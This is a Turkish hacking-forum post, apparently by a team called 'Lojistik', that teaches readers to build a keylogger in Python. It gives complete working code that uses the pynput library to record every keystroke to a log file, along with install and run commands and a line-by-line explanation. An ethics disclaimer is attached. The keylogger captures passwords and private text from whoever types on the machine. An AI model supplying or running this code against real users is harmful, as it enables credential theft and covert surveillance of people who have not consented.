Hoşgeldin Misafir

Python ile Keylogger Yapımı

bypatnos

DeepWeb
28 Haz 2024
614 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Merhabalar Ben @bypatnos Lojistik grup adına paylaşılan Python ile Keylogger Yapımı makalesinde sizi görmekten mutluk duyarım.
Bu makalede, Python kullanarak basit bir keylogger yapımını adım adım öğreneceğiz. Keylogger, kullanıcının klavye üzerinden yaptığı her türlü girişi kaydeden bir yazılımdır. Ancak, bu tür yazılımlar genellikle kötü amaçlı kullanımlarla ilişkilendirildiği için etik sınırlar içinde ve eğitim amaçlı olarak nasıl yapılacağını göstereceğiz. Bu bilgi, güvenlik alanında yeteneklerinizi geliştirmenize yardımcı olabilir.

Önemli Not:
Keylogger yapımı ve kullanımı yasal ve etik sınırlar içinde kalmalıdır. Sadece izinli ve eğitim amaçlı projelerde kullanılmalıdır. İzinsiz keylogger kullanımı yasal sorunlara ve ciddi etik ihlallere yol açabilir. bilginize :)

1. Gerekli Araçlar ve Kütüphaneler

Python ile keylogger yapımına başlamadan önce, bazı kütüphanelere ihtiyacımız olacak:

  • pynput: Klavye ve fare olaylarını izlememize yardımcı olur.
  • logging: Kullanıcı girişlerini dosyaya yazmak için kullanılır.
Bu kütüphaneleri yüklemek için, terminal veya komut istemcisinde şu komutları kullanabilirsiniz:
Kod:
pip install pynput

2. Python ile Basit Bir Keylogger Yapımı

2.1. Keylogger'ı Anlamak

Basit bir keylogger, klavye girişlerini izler ve bu verileri bir dosyaya kaydeder. Python'da, pynput kütüphanesi bu işlemi gerçekleştirmek için ideal bir araçtır.

2.2. Keylogger Kodunun Yazılması

Aşağıda, temel bir keylogger uygulaması için gereken Python kodunu bulabilirsiniz:
Kod:
from pynput import keyboard
import logging

# Log dosyasının ayarlanması
logging.basicConfig(filename='keylog.txt', level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    try:
        # Basılan tuşun karakter karşılığını al
        logging.info(f'{key.char}')
    except AttributeError:
        # Özel tuşlar (Enter, Shift, vb.) için
        logging.info(f'{key}')

def on_release(key):
    # Çıkış komutu (esc tuşu) kontrolü
    if key == keyboard.Key.esc:
        # Programı sonlandır
        return False

# Dinleyici oluşturulması ve başlatılması
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

2.3. Kodun Açıklanması

  • logging: Bu modül, basılan tuşları keylog.txt dosyasına kaydeder. basicConfig ile dosya adını, seviyesini ve formatını ayarlıyoruz.
  • on_press(key): Bu fonksiyon, her tuşa basıldığında çağrılır. Tuşun karakter karşılığını alır ve dosyaya yazar. Özel tuşlar için key değişkeninin direkt değerini yazar.
  • on_release(key): Bu fonksiyon, tuş serbest bırakıldığında çağrılır. Eğer basılan tuş "ESC" tuşu ise, dinleyiciyi durdurur ve programı sonlandırır.
  • keyboard.Listener: Bu sınıf, klavye olaylarını dinler ve on_press ile on_release fonksiyonlarını çağırır.

3. Keylogger'ı Çalıştırma ve Test Etme

Kodunuzu bir Python dosyasına (örneğin, keylogger.py) kaydedin. Dosyayı çalıştırmak için terminal veya komut istemcisinde şu komutu kullanın:
Kod:
python keylogger.py
Kod çalıştırıldığında, basılan tuşlar keylog.txt dosyasına kaydedilecektir. Programı test ederken çeşitli tuşlara basarak keylog.txt dosyasını kontrol edebilir ve verilerin doğru şekilde kaydedildiğini görebilirsiniz.

LOJİSTİK TİM SUNDU

btn1pyf.png